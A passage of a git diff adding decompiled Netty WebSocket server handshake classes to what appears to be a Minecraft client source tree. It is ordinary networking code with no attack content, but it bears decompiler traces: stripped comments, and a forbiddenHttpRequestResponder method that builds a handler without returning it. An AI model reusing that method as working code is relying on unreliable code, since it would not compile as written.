+    final String encoderName; if (ctx == null)
+    {
+      ctx = p.context(HttpServerCodec.class);
+      if (ctx == null) {
+        promise.setFailure(new IllegalStateException("No HttpDecoder and no HttpServerCodec in the pipeline"));
+        
+        return promise;
+      }
+      p.addBefore(ctx.name(), "wsdecoder", newWebsocketDecoder());
+      p.addBefore(ctx.name(), "wsencoder", newWebSocketEncoder());
+      encoderName = ctx.name();
+    } else {
+      p.replace(ctx.name(), "wsdecoder", newWebsocketDecoder());
+      
+      encoderName = p.context(HttpResponseEncoder.class).name();
+      p.addBefore(encoderName, "wsencoder", newWebSocketEncoder());
+    }
+    channel.writeAndFlush(response).addListener(new ChannelFutureListener()
+    {
+      public void operationComplete(ChannelFuture future) throws Exception {
+        if (future.isSuccess()) {
+          ChannelPipeline p = future.channel().pipeline();
+          p.remove(encoderName);
+          promise.setSuccess();
+        } else {
+          promise.setFailure(future.cause());
+        }
+      }
+    });
+    return promise;
+  }
+  
+
+
+
+
+
+  protected abstract FullHttpResponse newHandshakeResponse(FullHttpRequest paramFullHttpRequest, HttpHeaders paramHttpHeaders);
+  
+
+
+
+
+
+  public ChannelFuture close(Channel channel, CloseWebSocketFrame frame)
+  {
+    if (channel == null) {
+      throw new NullPointerException("channel");
+    }
+    return close(channel, frame, channel.newPromise());
+  }
+  
+
+
+
+
+
+
+
+
+
+  public ChannelFuture close(Channel channel, CloseWebSocketFrame frame, ChannelPromise promise)
+  {
+    if (channel == null) {
+      throw new NullPointerException("channel");
+    }
+    return channel.writeAndFlush(frame, promise).addListener(ChannelFutureListener.CLOSE);
+  }
+  
+
+
+
+
+
+
+  protected String selectSubprotocol(String requestedSubprotocols)
+  {
+    if ((requestedSubprotocols == null) || (subprotocols.length == 0)) {
+      return null;
+    }
+    
+    String[] requestedSubprotocolArray = StringUtil.split(requestedSubprotocols, ',');
+    for (String p : requestedSubprotocolArray) {
+      String requestedSubprotocol = p.trim();
+      
+      for (String supportedSubprotocol : subprotocols) {
+        if (("*".equals(supportedSubprotocol)) || (requestedSubprotocol.equals(supportedSubprotocol)))
+        {
+          selectedSubprotocol = requestedSubprotocol;
+          return requestedSubprotocol;
+        }
+      }
+    }
+    
+
+    return null;
+  }
+  
+
+
+
+
+
+  public String selectedSubprotocol()
+  {
+    return selectedSubprotocol;
+  }
+  
+  protected abstract WebSocketFrameDecoder newWebsocketDecoder();
+  
+  protected abstract WebSocketFrameEncoder newWebSocketEncoder();
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketServerHandshaker00.java b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketServerHandshaker00.java
new file mode 100644
index 0000000..a2cfea0
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketServerHandshaker00.java
@@ -0,0 +1,194 @@
+package io.netty.handler.codec.http.websocketx;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelPromise;
+import io.netty.handler.codec.http.DefaultFullHttpResponse;
+import io.netty.handler.codec.http.FullHttpRequest;
+import io.netty.handler.codec.http.FullHttpResponse;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpResponseStatus;
+import io.netty.handler.codec.http.HttpVersion;
+import io.netty.util.internal.logging.InternalLogger;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class WebSocketServerHandshaker00
+  extends WebSocketServerHandshaker
+{
+  private static final Pattern BEGINNING_DIGIT = Pattern.compile("[^0-9]");
+  private static final Pattern BEGINNING_SPACE = Pattern.compile("[^ ]");
+  
+
+
+
+
+
+
+
+
+
+
+
+  public WebSocketServerHandshaker00(String webSocketURL, String subprotocols, int maxFramePayloadLength)
+  {
+    super(WebSocketVersion.V00, webSocketURL, subprotocols, maxFramePayloadLength);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected FullHttpResponse newHandshakeResponse(FullHttpRequest req, HttpHeaders headers)
+  {
+    if ((!"Upgrade".equalsIgnoreCase(req.headers().get("Connection"))) || (!"WebSocket".equalsIgnoreCase(req.headers().get("Upgrade"))))
+    {
+      throw new WebSocketHandshakeException("not a WebSocket handshake request: missing upgrade");
+    }
+    
+
+    boolean isHixie76 = (req.headers().contains("Sec-WebSocket-Key1")) && (req.headers().contains("Sec-WebSocket-Key2"));
+    
+
+    FullHttpResponse res = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, new HttpResponseStatus(101, isHixie76 ? "WebSocket Protocol Handshake" : "Web Socket Protocol Handshake"));
+    
+    if (headers != null) {
+      res.headers().add(headers);
+    }
+    
+    res.headers().add("Upgrade", "WebSocket");
+    res.headers().add("Connection", "Upgrade");
+    
+
+    if (isHixie76)
+    {
+      res.headers().add("Sec-WebSocket-Origin", req.headers().get("Origin"));
+      res.headers().add("Sec-WebSocket-Location", uri());
+      String subprotocols = req.headers().get("Sec-WebSocket-Protocol");
+      if (subprotocols != null) {
+        String selectedSubprotocol = selectSubprotocol(subprotocols);
+        if (selectedSubprotocol == null) {
+          if (logger.isDebugEnabled()) {
+            logger.debug("Requested subprotocol(s) not supported: {}", subprotocols);
+          }
+        } else {
+          res.headers().add("Sec-WebSocket-Protocol", selectedSubprotocol);
+        }
+      }
+      
+
+      String key1 = req.headers().get("Sec-WebSocket-Key1");
+      String key2 = req.headers().get("Sec-WebSocket-Key2");
+      int a = (int)(Long.parseLong(BEGINNING_DIGIT.matcher(key1).replaceAll("")) / BEGINNING_SPACE.matcher(key1).replaceAll("").length());
+      
+      int b = (int)(Long.parseLong(BEGINNING_DIGIT.matcher(key2).replaceAll("")) / BEGINNING_SPACE.matcher(key2).replaceAll("").length());
+      
+      long c = req.content().readLong();
+      ByteBuf input = Unpooled.buffer(16);
+      input.writeInt(a);
+      input.writeInt(b);
+      input.writeLong(c);
+      res.content().writeBytes(WebSocketUtil.md5(input.array()));
+    }
+    else {
+      res.headers().add("WebSocket-Origin", req.headers().get("Origin"));
+      res.headers().add("WebSocket-Location", uri());
+      String protocol = req.headers().get("WebSocket-Protocol");
+      if (protocol != null) {
+        res.headers().add("WebSocket-Protocol", selectSubprotocol(protocol));
+      }
+    }
+    return res;
+  }
+  
+
+
+
+
+
+
+
+
+  public ChannelFuture close(Channel channel, CloseWebSocketFrame frame, ChannelPromise promise)
+  {
+    return channel.writeAndFlush(frame, promise);
+  }
+  
+  protected WebSocketFrameDecoder newWebsocketDecoder()
+  {
+    return new WebSocket00FrameDecoder(maxFramePayloadLength());
+  }
+  
+  protected WebSocketFrameEncoder newWebSocketEncoder()
+  {
+    return new WebSocket00FrameEncoder();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketServerHandshaker07.java b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketServerHandshaker07.java
new file mode 100644
index 0000000..c8a4823
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketServerHandshaker07.java
@@ -0,0 +1,143 @@
+package io.netty.handler.codec.http.websocketx;
+
+import io.netty.handler.codec.http.DefaultFullHttpResponse;
+import io.netty.handler.codec.http.FullHttpRequest;
+import io.netty.handler.codec.http.FullHttpResponse;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpResponseStatus;
+import io.netty.handler.codec.http.HttpVersion;
+import io.netty.util.CharsetUtil;
+import io.netty.util.internal.logging.InternalLogger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class WebSocketServerHandshaker07
+  extends WebSocketServerHandshaker
+{
+  public static final String WEBSOCKET_07_ACCEPT_GUID = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11";
+  private final boolean allowExtensions;
+  
+  public WebSocketServerHandshaker07(String webSocketURL, String subprotocols, boolean allowExtensions, int maxFramePayloadLength)
+  {
+    super(WebSocketVersion.V07, webSocketURL, subprotocols, maxFramePayloadLength);
+    this.allowExtensions = allowExtensions;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected FullHttpResponse newHandshakeResponse(FullHttpRequest req, HttpHeaders headers)
+  {
+    FullHttpResponse res = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, HttpResponseStatus.SWITCHING_PROTOCOLS);
+    
+
+    if (headers != null) {
+      res.headers().add(headers);
+    }
+    
+    String key = req.headers().get("Sec-WebSocket-Key");
+    if (key == null) {
+      throw new WebSocketHandshakeException("not a WebSocket request: missing key");
+    }
+    String acceptSeed = key + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11";
+    byte[] sha1 = WebSocketUtil.sha1(acceptSeed.getBytes(CharsetUtil.US_ASCII));
+    String accept = WebSocketUtil.base64(sha1);
+    
+    if (logger.isDebugEnabled()) {
+      logger.debug("WebSocket version 07 server handshake key: {}, response: {}.", key, accept);
+    }
+    
+    res.headers().add("Upgrade", "WebSocket".toLowerCase());
+    res.headers().add("Connection", "Upgrade");
+    res.headers().add("Sec-WebSocket-Accept", accept);
+    String subprotocols = req.headers().get("Sec-WebSocket-Protocol");
+    if (subprotocols != null) {
+      String selectedSubprotocol = selectSubprotocol(subprotocols);
+      if (selectedSubprotocol == null) {
+        if (logger.isDebugEnabled()) {
+          logger.debug("Requested subprotocol(s) not supported: {}", subprotocols);
+        }
+      } else {
+        res.headers().add("Sec-WebSocket-Protocol", selectedSubprotocol);
+      }
+    }
+    return res;
+  }
+  
+  protected WebSocketFrameDecoder newWebsocketDecoder()
+  {
+    return new WebSocket07FrameDecoder(true, allowExtensions, maxFramePayloadLength());
+  }
+  
+  protected WebSocketFrameEncoder newWebSocketEncoder()
+  {
+    return new WebSocket07FrameEncoder(false);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketServerHandshaker08.java b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketServerHandshaker08.java
new file mode 100644
index 0000000..872b2dd
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketServerHandshaker08.java
@@ -0,0 +1,142 @@
+package io.netty.handler.codec.http.websocketx;
+
+import io.netty.handler.codec.http.DefaultFullHttpResponse;
+import io.netty.handler.codec.http.FullHttpRequest;
+import io.netty.handler.codec.http.FullHttpResponse;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpResponseStatus;
+import io.netty.handler.codec.http.HttpVersion;
+import io.netty.util.CharsetUtil;
+import io.netty.util.internal.logging.InternalLogger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class WebSocketServerHandshaker08
+  extends WebSocketServerHandshaker
+{
+  public static final String WEBSOCKET_08_ACCEPT_GUID = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11";
+  private final boolean allowExtensions;
+  
+  public WebSocketServerHandshaker08(String webSocketURL, String subprotocols, boolean allowExtensions, int maxFramePayloadLength)
+  {
+    super(WebSocketVersion.V08, webSocketURL, subprotocols, maxFramePayloadLength);
+    this.allowExtensions = allowExtensions;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected FullHttpResponse newHandshakeResponse(FullHttpRequest req, HttpHeaders headers)
+  {
+    FullHttpResponse res = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, HttpResponseStatus.SWITCHING_PROTOCOLS);
+    
+    if (headers != null) {
+      res.headers().add(headers);
+    }
+    
+    String key = req.headers().get("Sec-WebSocket-Key");
+    if (key == null) {
+      throw new WebSocketHandshakeException("not a WebSocket request: missing key");
+    }
+    String acceptSeed = key + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11";
+    byte[] sha1 = WebSocketUtil.sha1(acceptSeed.getBytes(CharsetUtil.US_ASCII));
+    String accept = WebSocketUtil.base64(sha1);
+    
+    if (logger.isDebugEnabled()) {
+      logger.debug("WebSocket version 08 server handshake key: {}, response: {}", key, accept);
+    }
+    
+    res.headers().add("Upgrade", "WebSocket".toLowerCase());
+    res.headers().add("Connection", "Upgrade");
+    res.headers().add("Sec-WebSocket-Accept", accept);
+    String subprotocols = req.headers().get("Sec-WebSocket-Protocol");
+    if (subprotocols != null) {
+      String selectedSubprotocol = selectSubprotocol(subprotocols);
+      if (selectedSubprotocol == null) {
+        if (logger.isDebugEnabled()) {
+          logger.debug("Requested subprotocol(s) not supported: {}", subprotocols);
+        }
+      } else {
+        res.headers().add("Sec-WebSocket-Protocol", selectedSubprotocol);
+      }
+    }
+    return res;
+  }
+  
+  protected WebSocketFrameDecoder newWebsocketDecoder()
+  {
+    return new WebSocket08FrameDecoder(true, allowExtensions, maxFramePayloadLength());
+  }
+  
+  protected WebSocketFrameEncoder newWebSocketEncoder()
+  {
+    return new WebSocket08FrameEncoder(false);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketServerHandshaker13.java b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketServerHandshaker13.java
new file mode 100644
index 0000000..55f0d9a
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketServerHandshaker13.java
@@ -0,0 +1,140 @@
+package io.netty.handler.codec.http.websocketx;
+
+import io.netty.handler.codec.http.DefaultFullHttpResponse;
+import io.netty.handler.codec.http.FullHttpRequest;
+import io.netty.handler.codec.http.FullHttpResponse;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpResponseStatus;
+import io.netty.handler.codec.http.HttpVersion;
+import io.netty.util.CharsetUtil;
+import io.netty.util.internal.logging.InternalLogger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class WebSocketServerHandshaker13
+  extends WebSocketServerHandshaker
+{
+  public static final String WEBSOCKET_13_ACCEPT_GUID = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11";
+  private final boolean allowExtensions;
+  
+  public WebSocketServerHandshaker13(String webSocketURL, String subprotocols, boolean allowExtensions, int maxFramePayloadLength)
+  {
+    super(WebSocketVersion.V13, webSocketURL, subprotocols, maxFramePayloadLength);
+    this.allowExtensions = allowExtensions;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected FullHttpResponse newHandshakeResponse(FullHttpRequest req, HttpHeaders headers)
+  {
+    FullHttpResponse res = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, HttpResponseStatus.SWITCHING_PROTOCOLS);
+    if (headers != null) {
+      res.headers().add(headers);
+    }
+    
+    String key = req.headers().get("Sec-WebSocket-Key");
+    if (key == null) {
+      throw new WebSocketHandshakeException("not a WebSocket request: missing key");
+    }
+    String acceptSeed = key + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11";
+    byte[] sha1 = WebSocketUtil.sha1(acceptSeed.getBytes(CharsetUtil.US_ASCII));
+    String accept = WebSocketUtil.base64(sha1);
+    
+    if (logger.isDebugEnabled()) {
+      logger.debug("WebSocket version 13 server handshake key: {}, response: {}", key, accept);
+    }
+    
+    res.headers().add("Upgrade", "WebSocket".toLowerCase());
+    res.headers().add("Connection", "Upgrade");
+    res.headers().add("Sec-WebSocket-Accept", accept);
+    String subprotocols = req.headers().get("Sec-WebSocket-Protocol");
+    if (subprotocols != null) {
+      String selectedSubprotocol = selectSubprotocol(subprotocols);
+      if (selectedSubprotocol == null) {
+        if (logger.isDebugEnabled()) {
+          logger.debug("Requested subprotocol(s) not supported: {}", subprotocols);
+        }
+      } else {
+        res.headers().add("Sec-WebSocket-Protocol", selectedSubprotocol);
+      }
+    }
+    return res;
+  }
+  
+  protected WebSocketFrameDecoder newWebsocketDecoder()
+  {
+    return new WebSocket13FrameDecoder(true, allowExtensions, maxFramePayloadLength());
+  }
+  
+  protected WebSocketFrameEncoder newWebSocketEncoder()
+  {
+    return new WebSocket13FrameEncoder(false);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketServerHandshakerFactory.java b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketServerHandshakerFactory.java
new file mode 100644
index 0000000..3367d77
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketServerHandshakerFactory.java
@@ -0,0 +1,137 @@
+package io.netty.handler.codec.http.websocketx;
+
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelPromise;
+import io.netty.handler.codec.http.DefaultHttpResponse;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpRequest;
+import io.netty.handler.codec.http.HttpResponse;
+import io.netty.handler.codec.http.HttpResponseStatus;
+import io.netty.handler.codec.http.HttpVersion;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class WebSocketServerHandshakerFactory
+{
+  private final String webSocketURL;
+  private final String subprotocols;
+  private final boolean allowExtensions;
+  private final int maxFramePayloadLength;
+  
+  public WebSocketServerHandshakerFactory(String webSocketURL, String subprotocols, boolean allowExtensions)
+  {
+    this(webSocketURL, subprotocols, allowExtensions, 65536);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public WebSocketServerHandshakerFactory(String webSocketURL, String subprotocols, boolean allowExtensions, int maxFramePayloadLength)
+  {
+    this.webSocketURL = webSocketURL;
+    this.subprotocols = subprotocols;
+    this.allowExtensions = allowExtensions;
+    this.maxFramePayloadLength = maxFramePayloadLength;
+  }
+  
+
+
+
+
+
+
+  public WebSocketServerHandshaker newHandshaker(HttpRequest req)
+  {
+    String version = req.headers().get("Sec-WebSocket-Version");
+    if (version != null) {
+      if (version.equals(WebSocketVersion.V13.toHttpHeaderValue()))
+      {
+        return new WebSocketServerHandshaker13(webSocketURL, subprotocols, allowExtensions, maxFramePayloadLength);
+      }
+      if (version.equals(WebSocketVersion.V08.toHttpHeaderValue()))
+      {
+        return new WebSocketServerHandshaker08(webSocketURL, subprotocols, allowExtensions, maxFramePayloadLength);
+      }
+      if (version.equals(WebSocketVersion.V07.toHttpHeaderValue()))
+      {
+        return new WebSocketServerHandshaker07(webSocketURL, subprotocols, allowExtensions, maxFramePayloadLength);
+      }
+      
+      return null;
+    }
+    
+
+    return new WebSocketServerHandshaker00(webSocketURL, subprotocols, maxFramePayloadLength);
+  }
+  
+
+
+
+  @Deprecated
+  public static void sendUnsupportedWebSocketVersionResponse(Channel channel)
+  {
+    sendUnsupportedVersionResponse(channel);
+  }
+  
+
+
+  public static ChannelFuture sendUnsupportedVersionResponse(Channel channel)
+  {
+    return sendUnsupportedVersionResponse(channel, channel.newPromise());
+  }
+  
+
+
+  public static ChannelFuture sendUnsupportedVersionResponse(Channel channel, ChannelPromise promise)
+  {
+    HttpResponse res = new DefaultHttpResponse(HttpVersion.HTTP_1_1, HttpResponseStatus.UPGRADE_REQUIRED);
+    
+
+    res.headers().set("Sec-WebSocket-Version", WebSocketVersion.V13.toHttpHeaderValue());
+    return channel.write(res, promise);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketServerProtocolHandler.java b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketServerProtocolHandler.java
new file mode 100644
index 0000000..56fd231
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketServerProtocolHandler.java
@@ -0,0 +1,151 @@
+package io.netty.handler.codec.http.websocketx;
+
+import io.netty.buffer.Unpooled;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandler;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelInboundHandlerAdapter;
+import io.netty.channel.ChannelPipeline;
+import io.netty.handler.codec.http.DefaultFullHttpResponse;
+import io.netty.handler.codec.http.FullHttpRequest;
+import io.netty.handler.codec.http.FullHttpResponse;
+import io.netty.handler.codec.http.HttpResponseStatus;
+import io.netty.handler.codec.http.HttpVersion;
+import io.netty.util.Attribute;
+import io.netty.util.AttributeKey;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class WebSocketServerProtocolHandler
+  extends WebSocketProtocolHandler
+{
+  public static enum ServerHandshakeStateEvent
+  {
+    HANDSHAKE_COMPLETE;
+    
+    private ServerHandshakeStateEvent() {} }
+  private static final AttributeKey<WebSocketServerHandshaker> HANDSHAKER_ATTR_KEY = AttributeKey.valueOf(WebSocketServerHandshaker.class.getName() + ".HANDSHAKER");
+  
+  private final String websocketPath;
+  private final String subprotocols;
+  private final boolean allowExtensions;
+  private final int maxFramePayloadLength;
+  
+  public WebSocketServerProtocolHandler(String websocketPath)
+  {
+    this(websocketPath, null, false);
+  }
+  
+  public WebSocketServerProtocolHandler(String websocketPath, String subprotocols) {
+    this(websocketPath, subprotocols, false);
+  }
+  
+  public WebSocketServerProtocolHandler(String websocketPath, String subprotocols, boolean allowExtensions) {
+    this(websocketPath, subprotocols, allowExtensions, 65536);
+  }
+  
+  public WebSocketServerProtocolHandler(String websocketPath, String subprotocols, boolean allowExtensions, int maxFrameSize)
+  {
+    this.websocketPath = websocketPath;
+    this.subprotocols = subprotocols;
+    this.allowExtensions = allowExtensions;
+    maxFramePayloadLength = maxFrameSize;
+  }
+  
+  public void handlerAdded(ChannelHandlerContext ctx)
+  {
+    ChannelPipeline cp = ctx.pipeline();
+    if (cp.get(WebSocketServerProtocolHandshakeHandler.class) == null)
+    {
+      ctx.pipeline().addBefore(ctx.name(), WebSocketServerProtocolHandshakeHandler.class.getName(), new WebSocketServerProtocolHandshakeHandler(websocketPath, subprotocols, allowExtensions, maxFramePayloadLength));
+    }
+  }
+  
+
+  protected void decode(ChannelHandlerContext ctx, WebSocketFrame frame, List<Object> out)
+    throws Exception
+  {
+    if ((frame instanceof CloseWebSocketFrame)) {
+      WebSocketServerHandshaker handshaker = getHandshaker(ctx);
+      if (handshaker != null) {
+        frame.retain();
+        handshaker.close(ctx.channel(), (CloseWebSocketFrame)frame);
+      } else {
+        ctx.writeAndFlush(Unpooled.EMPTY_BUFFER).addListener(ChannelFutureListener.CLOSE);
+      }
+      return;
+    }
+    super.decode(ctx, frame, out);
+  }
+  
+  public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception
+  {
+    if ((cause instanceof WebSocketHandshakeException)) {
+      FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, HttpResponseStatus.BAD_REQUEST, Unpooled.wrappedBuffer(cause.getMessage().getBytes()));
+      
+      ctx.channel().writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
+    } else {
+      ctx.close();
+    }
+  }
+  
+  static WebSocketServerHandshaker getHandshaker(ChannelHandlerContext ctx) {
+    return (WebSocketServerHandshaker)ctx.attr(HANDSHAKER_ATTR_KEY).get();
+  }
+  
+  static void setHandshaker(ChannelHandlerContext ctx, WebSocketServerHandshaker handshaker) {
+    ctx.attr(HANDSHAKER_ATTR_KEY).set(handshaker);
+  }
+  
+  static ChannelHandler forbiddenHttpRequestResponder() {
+    new ChannelInboundHandlerAdapter()
+    {
+      public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
+        if ((msg instanceof FullHttpRequest)) {
+          ((FullHttpRequest)msg).release();
+          FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, HttpResponseStatus.FORBIDDEN);
+          
+          ctx.channel().writeAndFlush(response);
+        } else {
+          ctx.fireChannelRead(msg);
+        }
+      }
+    };
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketServerProtocolHandshakeHandler.java b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketServerProtocolHandshakeHandler.java
new file mode 100644
index 0000000..f4a6ce1
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketServerProtocolHandshakeHandler.java
@@ -0,0 +1,105 @@
+package io.netty.handler.codec.http.websocketx;
+
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelInboundHandlerAdapter;
+import io.netty.channel.ChannelPipeline;
+import io.netty.handler.codec.http.DefaultFullHttpResponse;
+import io.netty.handler.codec.http.FullHttpRequest;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpMethod;
+import io.netty.handler.codec.http.HttpRequest;
+import io.netty.handler.codec.http.HttpResponse;
+import io.netty.handler.codec.http.HttpResponseStatus;
+import io.netty.handler.codec.http.HttpVersion;
+import io.netty.handler.ssl.SslHandler;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class WebSocketServerProtocolHandshakeHandler
+  extends ChannelInboundHandlerAdapter
+{
+  private final String websocketPath;
+  private final String subprotocols;
+  private final boolean allowExtensions;
+  private final int maxFramePayloadSize;
+  
+  WebSocketServerProtocolHandshakeHandler(String websocketPath, String subprotocols, boolean allowExtensions, int maxFrameSize)
+  {
+    this.websocketPath = websocketPath;
+    this.subprotocols = subprotocols;
+    this.allowExtensions = allowExtensions;
+    maxFramePayloadSize = maxFrameSize;
+  }
+  
+  public void channelRead(final ChannelHandlerContext ctx, Object msg) throws Exception
+  {
+    FullHttpRequest req = (FullHttpRequest)msg;
+    try {
+      if (req.getMethod() != HttpMethod.GET) {
+        sendHttpResponse(ctx, req, new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, HttpResponseStatus.FORBIDDEN));
+      }
+      else
+      {
+        WebSocketServerHandshakerFactory wsFactory = new WebSocketServerHandshakerFactory(getWebSocketLocation(ctx.pipeline(), req, websocketPath), subprotocols, allowExtensions, maxFramePayloadSize);
+        
+
+        WebSocketServerHandshaker handshaker = wsFactory.newHandshaker(req);
+        if (handshaker == null) {
+          WebSocketServerHandshakerFactory.sendUnsupportedVersionResponse(ctx.channel());
+        } else {
+          ChannelFuture handshakeFuture = handshaker.handshake(ctx.channel(), req);
+          handshakeFuture.addListener(new ChannelFutureListener()
+          {
+            public void operationComplete(ChannelFuture future) throws Exception {
+              if (!future.isSuccess()) {
+                ctx.fireExceptionCaught(future.cause());
+              } else {
+                ctx.fireUserEventTriggered(WebSocketServerProtocolHandler.ServerHandshakeStateEvent.HANDSHAKE_COMPLETE);
+              }
+              
+            }
+          });
+          WebSocketServerProtocolHandler.setHandshaker(ctx, handshaker);
+          ctx.pipeline().replace(this, "WS403Responder", WebSocketServerProtocolHandler.forbiddenHttpRequestResponder());
+        }
+      }
+    } finally {
+      req.release();
+    }
+  }
+  
+  private static void sendHttpResponse(ChannelHandlerContext ctx, HttpRequest req, HttpResponse res) {
+    ChannelFuture f = ctx.channel().writeAndFlush(res);
+    if ((!HttpHeaders.isKeepAlive(req)) || (res.getStatus().code() != 200)) {
+      f.addListener(ChannelFutureListener.CLOSE);
+    }
+  }
+  
+  private static String getWebSocketLocation(ChannelPipeline cp, HttpRequest req, String path) {
+    String protocol = "ws";
+    if (cp.get(SslHandler.class) != null)
+    {
+      protocol = "wss";
+    }
+    return protocol + "://" + req.headers().get("Host") + path;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketUtil.java b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketUtil.java
new file mode 100644
index 0000000..94711c8
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/websocketx/WebSocketUtil.java
@@ -0,0 +1,108 @@
+package io.netty.handler.codec.http.websocketx;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.handler.codec.base64.Base64;
+import io.netty.util.CharsetUtil;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class WebSocketUtil
+{
+  static byte[] md5(byte[] data)
+  {
+    try
+    {
+      MessageDigest md = MessageDigest.getInstance("MD5");
+      
+      return md.digest(data);
+    }
+    catch (NoSuchAlgorithmException e) {
+      throw new InternalError("MD5 not supported on this platform - Outdated?");
+    }
+  }
+  
+
+
+
+
+
+  static byte[] sha1(byte[] data)
+  {
+    try
+    {
+      MessageDigest md = MessageDigest.getInstance("SHA1");
+      
+      return md.digest(data);
+    }
+    catch (NoSuchAlgorithmException e) {
+      throw new InternalError("SHA-1 is not supported on this platform - Outdated?");
+    }
+  }
+  
+
+
+
+
+
+  static String base64(byte[] data)
+  {
+    ByteBuf encodedData = Unpooled.wrappedBuffer(data);
+    ByteBuf encoded = Base64.encode(encodedData);
+    String encodedString = encoded.toString(CharsetUtil.UTF_8);
+    encoded.release();
+    return encodedString;
+  }
+  
+
+
+
+
+
+  static byte[] randomBytes(int size)
+  {
+    byte[] bytes = new byte[size];
+    
+    for (int index = 0; index < size; index++) {
+      bytes[index] = ((byte)randomNumber(0, 255));
+    }
+    
+    return bytes;
+  }
+  
+
+
+
+
+
+
